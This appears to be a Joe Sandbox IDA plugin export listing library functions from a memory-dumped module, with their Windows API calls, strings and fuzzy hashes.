Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: ErrorLast$CodePageValidValue
String ID: utf8
API String ID: 1184045147-905460609
Opcode ID: bef330d46705c9f809254f28dcd34f18f5fa3df4ecd6a7cd7be12881656582f3
Instruction ID: b7e41fea45c37c7491a6b061c9b38722cf8aeb20eeb6de915e3b026b6f3d138d
Opcode Fuzzy Hash: bef330d46705c9f809254f28dcd34f18f5fa3df4ecd6a7cd7be12881656582f3
Instruction Fuzzy Hash: 9A91863220478986FBA79F61D9513EA33A4E78DBC0F84C521EE5987786DF38CA59C341

Function 000000018000E318 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000000018000E379
IsDebuggerPresent.KERNEL32 ref: 000000018000E391
OutputDebugStringW.KERNEL32 ref: 000000018000E3A2

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 000000018000E39B

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: DebugDebuggerErrorLastOutputPresentString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 389471666-631824599
Opcode ID: b212772aa1cfda86b8dd2b2796d1cb41c1d329d713af6930b26328a09feb1268
Instruction ID: ff717276d0f11779129c24c89c8ea0c62bf3958c183b28a318c48e6cba1cd9b0
Opcode Fuzzy Hash: b212772aa1cfda86b8dd2b2796d1cb41c1d329d713af6930b26328a09feb1268
Instruction Fuzzy Hash: 9B115E32210B8897F786DB22D6453EA33A4FB0C395F548129EA4983A50EF78D6B8C700

Function 000000018000B7E0 Relevance: 5.6, Strings: 4, Instructions: 573COMMON

Download Yara Rule

Strings

invalid block type, xrefs: 000000018000BBD7
invalid stored block lengths, xrefs: 000000018000BF97
too many length or distance symbols, xrefs: 000000018000BF7B
invalid bit length repeat, xrefs: 000000018000BFAB

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID:
String ID: invalid bit length repeat$invalid block type$invalid stored block lengths$too many length or distance symbols
API String ID: 0-26694007
Opcode ID: bf2efda4cf8fba31aa37c184d76348b94fd6732ddcc2538625d3b8afcc60e458
Instruction ID: e406b83e570d1ac13d4d9bf08117dba668357e1ade72b0d2d39afb1ba7880cbd
Opcode Fuzzy Hash: bf2efda4cf8fba31aa37c184d76348b94fd6732ddcc2538625d3b8afcc60e458
Instruction Fuzzy Hash: B73294732146899BE7A9CF29D5507AE7BA1F348788F50C119EB5683B90DF38E664CF00

Function 000000018002B36C Relevance: 4.7, APIs: 3, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 000000018001E728: GetLastError.KERNEL32 ref: 000000018001E737
Part of subcall function 000000018001E728: FlsGetValue.KERNEL32 ref: 000000018001E74C
Part of subcall function 000000018001E728: SetLastError.KERNEL32 ref: 000000018001E7D7

Part of subcall function 000000018001E728: FlsSetValue.KERNEL32 ref: 000000018001E76D

GetLocaleInfoW.KERNEL32 ref: 000000018002B3D8

Part of subcall function 0000000180027394: _invalid_parameter_noinfo.LIBCMT ref: 00000001800273B1

GetLocaleInfoW.KERNEL32 ref: 000000018002B421

Part of subcall function 0000000180027394: _invalid_parameter_noinfo.LIBCMT ref: 000000018002740A

GetLocaleInfoW.KERNEL32 ref: 000000018002B4EC

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: InfoLocale$ErrorLastValue_invalid_parameter_noinfo
String ID:
API String ID: 1791019856-0
Opcode ID: 943bd00b0f887e443bda1b679887d11a12100e3a774b661fefa57e7bcbab9ed8
Instruction ID: 8a4619616076351242ef1636d449e5c3ff567f37869466ed960a84759d707c42
Opcode Fuzzy Hash: 943bd00b0f887e443bda1b679887d11a12100e3a774b661fefa57e7bcbab9ed8
Instruction Fuzzy Hash: 0E61BF32700A498AEBB79F11E5803E973A1F38C7C4F00C125EB9AC7695DF38D6598700

Function 00000001800208DC Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32 ref: 0000000180020950

Strings

GetLocaleInfoEx, xrefs: 00000001800208F8, 0000000180020909

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: InfoLocale
String ID: GetLocaleInfoEx
API String ID: 2299586839-2904428671
Opcode ID: 2d719562c5ede7e9e1d30d2fd55054e376b7769ba9d2f30ab5df7b690f0ec345
Instruction ID: 23810ecc44a9fa88f8e33a0a850563ebb3a2f1248dbd5b6f14710a77e5edf504
Opcode Fuzzy Hash: 2d719562c5ede7e9e1d30d2fd55054e376b7769ba9d2f30ab5df7b690f0ec345
Instruction Fuzzy Hash: A8016231704B8899E7879B56B4403D7B765EB8DBD0F68C025BE4903B6ACF38C649C740

Function 0000000180026790 Relevance: 3.2, APIs: 2, Instructions: 232COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00000001800269DF
RaiseException.KERNEL32 ref: 00000001800269F0

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: 28f4fd1ef61debef4260460d3945bd874c4ab6355434d2c4b069aa2d38af04af
Instruction ID: 1e169638cfd7896d9537b61c89f1ecd955dc27dbc1e6111228ce66f3979a8fca
Opcode Fuzzy Hash: 28f4fd1ef61debef4260460d3945bd874c4ab6355434d2c4b069aa2d38af04af
Instruction Fuzzy Hash: 07B11A77A00B888BEB56CF29C48639C77A0F348B89F15C916EA59877B4CF35C955CB01

Function 0000000180004358 Relevance: 2.6, APIs: 2, Instructions: 90COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00000001800043B5
MultiByteToWideChar.KERNEL32 ref: 00000001800043F9

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: 7930196372a178743dc39e7295959fbfc0f589fc39fb1272cd01465258609be2
Instruction ID: 442d9dd9449f21a17d12aaac5eace401825d2169cc146f363dd87afd48597ddc
Opcode Fuzzy Hash: 7930196372a178743dc39e7295959fbfc0f589fc39fb1272cd01465258609be2
Instruction Fuzzy Hash: 1B312A73A04B8846E756DB32E8013EA7361FB8DBD5F14C325BE590A696DF78C3898340

Function 0000000180019A4C Relevance: 1.9, APIs: 1, Instructions: 371COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32 ref: 0000000180019B94

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-0
Opcode ID: 027032dcfb386713951d006e6205e2874f5c1696f4cb7ea4b2638cfb0ac95091
Instruction ID: eec4c6fd3ff957a542273620c993138e7d13cf4136450a887ec4fef81301abd9
Opcode Fuzzy Hash: 027032dcfb386713951d006e6205e2874f5c1696f4cb7ea4b2638cfb0ac95091
Instruction Fuzzy Hash: E3128B32A09BC886E792CF2894443ED73A4F75D788F55D225EF8983696EF34D289C740

Function 00000001800296F4 Relevance: 1.8, APIs: 1, Instructions: 335COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bb5b123465c62c52230c863fe300e552722264977c3af6977275130b1d48977
Instruction ID: 738cc9b322281c0339e23103a8d83c8b40299d0502414f2eebc0fa67005e5938
Opcode Fuzzy Hash: 6bb5b123465c62c52230c863fe300e552722264977c3af6977275130b1d48977
Instruction Fuzzy Hash: 6FE16032605B8896E762DB61E4407EE37A8F7987C8F418625AF9D57796EF38C349C300

Function 000000018002CDB0 Relevance: 1.7, APIs: 1, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 000000018002CE13

Part of subcall function 000000018002C5C4: _invalid_parameter_noinfo.LIBCMT ref: 000000018002C5D8

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo
String ID:
API String ID: 474895018-0
Opcode ID: ecd189087dc3da18299c797459eb2146145bc70b9274cef2fdfea02dce14d3d8
Instruction ID: 6ee684c52c9e23d98a53d5edf7e203a0a12931d0e7d9addfecf6a81e65398c4d
Opcode Fuzzy Hash: ecd189087dc3da18299c797459eb2146145bc70b9274cef2fdfea02dce14d3d8
Instruction Fuzzy Hash: CD610D3270059846FBF789288450FEDA792A74C7E0F15C23AFA6987AD1DE75CA488702

Function 0000000180027938 Relevance: 1.6, APIs: 1, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 113b1b040826d01e5cdf2fd91c665917d5d86a6bb9bf63b09fafb4602ddadf74
Instruction ID: 21e9b30a6c3738534fa2c19576fd53ca8bd796d29e4d3d6577ec0e2954d72561
Opcode Fuzzy Hash: 113b1b040826d01e5cdf2fd91c665917d5d86a6bb9bf63b09fafb4602ddadf74
Instruction Fuzzy Hash: 0F51D332700B9485EB629B76A8407DE7BA6F748BE8F148115FE5827B8ACF38C2458700

Function 000000018002B5B8 Relevance: 1.6, APIs: 1, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 000000018001E728: GetLastError.KERNEL32 ref: 000000018001E737
Part of subcall function 000000018001E728: FlsGetValue.KERNEL32 ref: 000000018001E74C
Part of subcall function 000000018001E728: SetLastError.KERNEL32 ref: 000000018001E7D7

Part of subcall function 000000018001E728: FlsSetValue.KERNEL32 ref: 000000018001E76D

GetLocaleInfoW.KERNEL32 ref: 000000018002B620

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: ErrorLastValue$InfoLocale
String ID:
API String ID: 673564084-0
Opcode ID: cb4b30877e75dff9778b46eedd80eaa1e424086c74a345ae397bbffbb95bed5b
Instruction ID: e472ee6b97786968e4dc3212f9f96c15afba4a5b4e6154bd9219fb89b44dadf6
Opcode Fuzzy Hash: cb4b30877e75dff9778b46eedd80eaa1e424086c74a345ae397bbffbb95bed5b
Instruction Fuzzy Hash: 7B316F3230468986FBA6DB21E4453EE73A1F78C7C4F44C125AB89C7696DF3CD6598700

Function 000000018002B204 Relevance: 1.6, APIs: 1, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 000000018001E728: GetLastError.KERNEL32 ref: 000000018001E737
Part of subcall function 000000018001E728: FlsGetValue.KERNEL32 ref: 000000018001E74C
Part of subcall function 000000018001E728: SetLastError.KERNEL32 ref: 000000018001E7D7

EnumSystemLocalesW.KERNEL32 ref: 000000018002B2A2

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystemValue
String ID:
API String ID: 3029459697-0
Opcode ID: 4a67e4b09e862c523ae46ee8860dd969e8c3cef9e159523c794b45cfeabef760
Instruction ID: 5398c2de42df62b33a0f9e9e1fc644b1e4c382401b3f5c1d21dbf2b97d2c7d3b
Opcode Fuzzy Hash: 4a67e4b09e862c523ae46ee8860dd969e8c3cef9e159523c794b45cfeabef760
Instruction Fuzzy Hash: 9E11A273A04648CAEB978F56D0807ED7BA1F798BE0F45C116E665833D0DA34C6D9C740

Function 000000018002B7C0 Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 000000018001E728: GetLastError.KERNEL32 ref: 000000018001E737
Part of subcall function 000000018001E728: FlsGetValue.KERNEL32 ref: 000000018001E74C
Part of subcall function 000000018001E728: SetLastError.KERNEL32 ref: 000000018001E7D7

GetLocaleInfoW.KERNEL32 ref: 000000018002B7F7

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: ErrorLast$InfoLocaleValue
String ID:
API String ID: 3796814847-0
Opcode ID: 3bbf0a3ff4d999ac66e599ef6cb6b8dc20522a7a4199bbfd0d1b7637d49334f2
Instruction ID: fdfa5da59a41c69d770a77e2e5e5a62a0cc185adaa772f84303fff4246806acb
Opcode Fuzzy Hash: 3bbf0a3ff4d999ac66e599ef6cb6b8dc20522a7a4199bbfd0d1b7637d49334f2
Instruction Fuzzy Hash: F511293261469882EBF75B12E0407FD23A5E748BE0F54D226FB6D876C4CE35CA89C740

Function 000000018002B2D4 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 000000018001E728: GetLastError.KERNEL32 ref: 000000018001E737
Part of subcall function 000000018001E728: FlsGetValue.KERNEL32 ref: 000000018001E74C
Part of subcall function 000000018001E728: SetLastError.KERNEL32 ref: 000000018001E7D7

EnumSystemLocalesW.KERNEL32 ref: 000000018002B352

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystemValue
String ID:
API String ID: 3029459697-0
Opcode ID: c9c5342b379c57ab0150a5fffd80dd54dece838cf4b96978f3358284292ed427
Instruction ID: 60f316c509a31cab0b341cafa3ce5a2bc64ff983118f8a4c0b21916c01fab903
Opcode Fuzzy Hash: c9c5342b379c57ab0150a5fffd80dd54dece838cf4b96978f3358284292ed427
Instruction Fuzzy Hash: D501F77270428886E7939F16E4407EE77E2E748BE4F85C222E674C72C5CF748A89C700

Function 0000000180020400 Relevance: 1.5, APIs: 1, Instructions: 32COMMONLIBRARYCODE

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32 ref: 000000018002044F

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: b5b3c1051f5835f7d7149c7bfc662b17047e65df67ef0a7d5bdbe949e04d0c61
Instruction ID: a968ee2affecc7876812a42df4829ce9c5e47f40f6e2a6ab4c91571be2d4e57f
Opcode Fuzzy Hash: b5b3c1051f5835f7d7149c7bfc662b17047e65df67ef0a7d5bdbe949e04d0c61
Instruction Fuzzy Hash: 38F06472300A4883E781EB6AE8807DA6361F38CBD0F58C025EE0983365CF38C6698300

Function 0000000180026368 Relevance: 1.4, APIs: 1, Instructions: 137COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000000018002640D

Part of subcall function 0000000180020318: HeapAlloc.KERNEL32 ref: 000000018002036D

Part of subcall function 0000000180020390: HeapFree.KERNEL32 ref: 00000001800203A6
Part of subcall function 0000000180020390: GetLastError.KERNEL32 ref: 00000001800203B0

Part of subcall function 000000018002CBFC: _invalid_parameter_noinfo.LIBCMT ref: 000000018002CC2F

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: ErrorHeapLast$AllocFree_invalid_parameter_noinfo
String ID:
API String ID: 916656526-0
Opcode ID: 25765d56bc907ccdcaefe51a2217d35461dc767b68f20450cd161fe34d8239c3
Instruction ID: dcbd0cd38eefc9fde9e3d697c2db2125d6f606459b4b88168451cc8f10a5d8c4
Opcode Fuzzy Hash: 25765d56bc907ccdcaefe51a2217d35461dc767b68f20450cd161fe34d8239c3
Instruction Fuzzy Hash: DD41D531B0174942FAE3AB266911BEAA7917B8D7C1F54C125BE8947BD6EE38C6098700

Function 0000000180017EAC Relevance: 1.4, Strings: 1, Instructions: 132COMMON

Download Yara Rule

Strings

PATH, xrefs: 0000000180017EFF

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID: PATH
API String ID: 485612231-1036084923
Opcode ID: 12877fb9e35b8f9ccd32f8bd4c779acdd47ed51d6ddf4d8725f6b7c82602485a
Instruction ID: f294ddcc12cb67506cc741d6af2e2d597a29e1f5a58ed0d91be004146bde7499
Opcode Fuzzy Hash: 12877fb9e35b8f9ccd32f8bd4c779acdd47ed51d6ddf4d8725f6b7c82602485a
Instruction Fuzzy Hash: 5C41AC31704B4C46FBE7EA2269117EB57916B8CBD4F18C538BE4A06AC6DE38C74A8300

Function 0000000180029078 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000000018002907C

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 9f4a8859c378c4f8c507b988a8d8dac4beecda5213c1e2a71b28d7e58fe6b73f
Instruction ID: 5edc27d0106fdd8c548a4b58017f0f1f2fd10e91d98f41bcedb1606919c3a67f
Opcode Fuzzy Hash: 9f4a8859c378c4f8c507b988a8d8dac4beecda5213c1e2a71b28d7e58fe6b73f
Instruction Fuzzy Hash: 2CB09234A13A88C6EA8B2B116C8638423A47B4C751F89815A840C90320DF2C12ED5700

Function 000000018001A25C Relevance: .5, Instructions: 535COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0abc4254457fbe9b14aa2f38dc423a23a88374dbbe6177bdd068ae7f7df4946
Instruction ID: 4cc10b237cccb7d0cd9e4c5704d5ebd0b36738ffd66ce45bdb1454f12583730c
Opcode Fuzzy Hash: c0abc4254457fbe9b14aa2f38dc423a23a88374dbbe6177bdd068ae7f7df4946
Instruction Fuzzy Hash: 46423031A29E4C89E7D38F35A852797B764BB5E3C4F42D317F80A77661DF28864A8700

Function 000000018001F0F4 Relevance: .3, Instructions: 309COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: ErrorLast$CodePageValidValue_invalid_parameter_noinfo
String ID:
API String ID: 749689494-0
Opcode ID: 621795843cc14baf226767717043f222cd4f1eb84deeda168aeb6775143a8d79
Instruction ID: 702e665b2f9b3a1b8fc5bc711dc2b2bb92b2309f0db9e3324f519036aea9ed14
Opcode Fuzzy Hash: 621795843cc14baf226767717043f222cd4f1eb84deeda168aeb6775143a8d79
Instruction Fuzzy Hash: B6C19176204A8886EBB29F62D8107FA67A1F7997C8F50C115FE4987B99DF38C649C700

Function 000000018002A914 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: ErrorLastValue$InfoLocale
String ID:
API String ID: 673564084-0
Opcode ID: 3db3807c31cd8e69087d2a99885d638a2879662b2c6e136a49bd79c713779470
Instruction ID: 27d050cf470a3e9d81023fb3c9e724586e265d98fe280e2e587df70b86cc154c
Opcode Fuzzy Hash: 3db3807c31cd8e69087d2a99885d638a2879662b2c6e136a49bd79c713779470
Instruction Fuzzy Hash: D9B1DF7261864887FBA7DF21D5117EA33A1E789BD8F40C221EE46836CADF78C649C740

Function 0000000180019570 Relevance: .2, Instructions: 207COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: c1877338eff1f6ef94147a5dcd0adff617f05a7fca7a442ecefb2ad5e1c9febd
Instruction ID: f433b7f4c754cd38f8bd9f4ac0a0ef3bbdea15e3ab906a50d364a8bba0eaab5d
Opcode Fuzzy Hash: c1877338eff1f6ef94147a5dcd0adff617f05a7fca7a442ecefb2ad5e1c9febd
Instruction Fuzzy Hash: D981A172211E5886EBA2CF65D4953AD23A0FB48BE8F148616FE1E97BD5CF34C2458300

Function 000000018001D418 Relevance: .1, Instructions: 126COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 8e107df9b9fa6c34bd97bf980de7fa2a54ce0ffb2cd774617c4e1924f44abc17
Instruction ID: caa79277b60bd04c88e1e88e7a70e409240e6dafe2ad1ce8c3d30f82e1f73cfb
Opcode Fuzzy Hash: 8e107df9b9fa6c34bd97bf980de7fa2a54ce0ffb2cd774617c4e1924f44abc17
Instruction Fuzzy Hash: 86418D32310E5886EB85DF6AD9543A9A3A1A74CFD4F499126EE0D87B58DE3CC64A8300

Function 0000000180026C40 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16d6e40f226c55b0540e149cd154960650b61aef3abad3d2d841604dc9b0d41b
Instruction ID: a39e4f4435e0de6f70c23f60816157ba36e014d700355a2f8f114e8c1715c108
Opcode Fuzzy Hash: 16d6e40f226c55b0540e149cd154960650b61aef3abad3d2d841604dc9b0d41b
Instruction Fuzzy Hash: 04F0C2727142998AEBE99F28A843B5937D4E30C3C0F90C019EAD8C7F44CA7CC1608F04

Function 0000000180031398 Relevance: .0, Instructions: 13COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1627800428a35a659b3623f492cedec0dae9f43e656245f185bb76fb5fdffe3d
Instruction ID: bb5348bdf9a280812ae90f491bbae99c3d748be93826a9b1925c3a4d972b2951
Opcode Fuzzy Hash: 1627800428a35a659b3623f492cedec0dae9f43e656245f185bb76fb5fdffe3d
Instruction Fuzzy Hash: 1DD0C993A5E7C44AE7530A3408353D92F7187A7D72F8EC2878690C66C3990C090A9321

Function 0000000180031210 Relevance: .0, Instructions: 7COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38b450f1fed32acfeccd43dc2aee28fc540602d65b949b057bec879233ccd316
Instruction ID: 9967b18561d53fc09fc5bcd7efcaf32e6c77716b751ef44e6088b908499d300e
Opcode Fuzzy Hash: 38b450f1fed32acfeccd43dc2aee28fc540602d65b949b057bec879233ccd316
Instruction Fuzzy Hash: AFC0125F54EFED1AF3934554185AB4B1FA0836B655F0BC0DB5790822D394045A194311

Function 000000018000F478 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 61libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 000000018000F48E
GetModuleHandleW.KERNEL32 ref: 000000018000F49B
GetModuleHandleW.KERNEL32 ref: 000000018000F4B0
GetProcAddress.KERNEL32 ref: 000000018000F4C8
GetProcAddress.KERNEL32 ref: 000000018000F4DB
CreateEventW.KERNEL32 ref: 000000018000F507
DeleteCriticalSection.KERNEL32 ref: 000000018000F553
CloseHandle.KERNEL32 ref: 000000018000F565

Strings

WakeAllConditionVariable, xrefs: 000000018000F4CE
kernel32.dll, xrefs: 000000018000F4A9
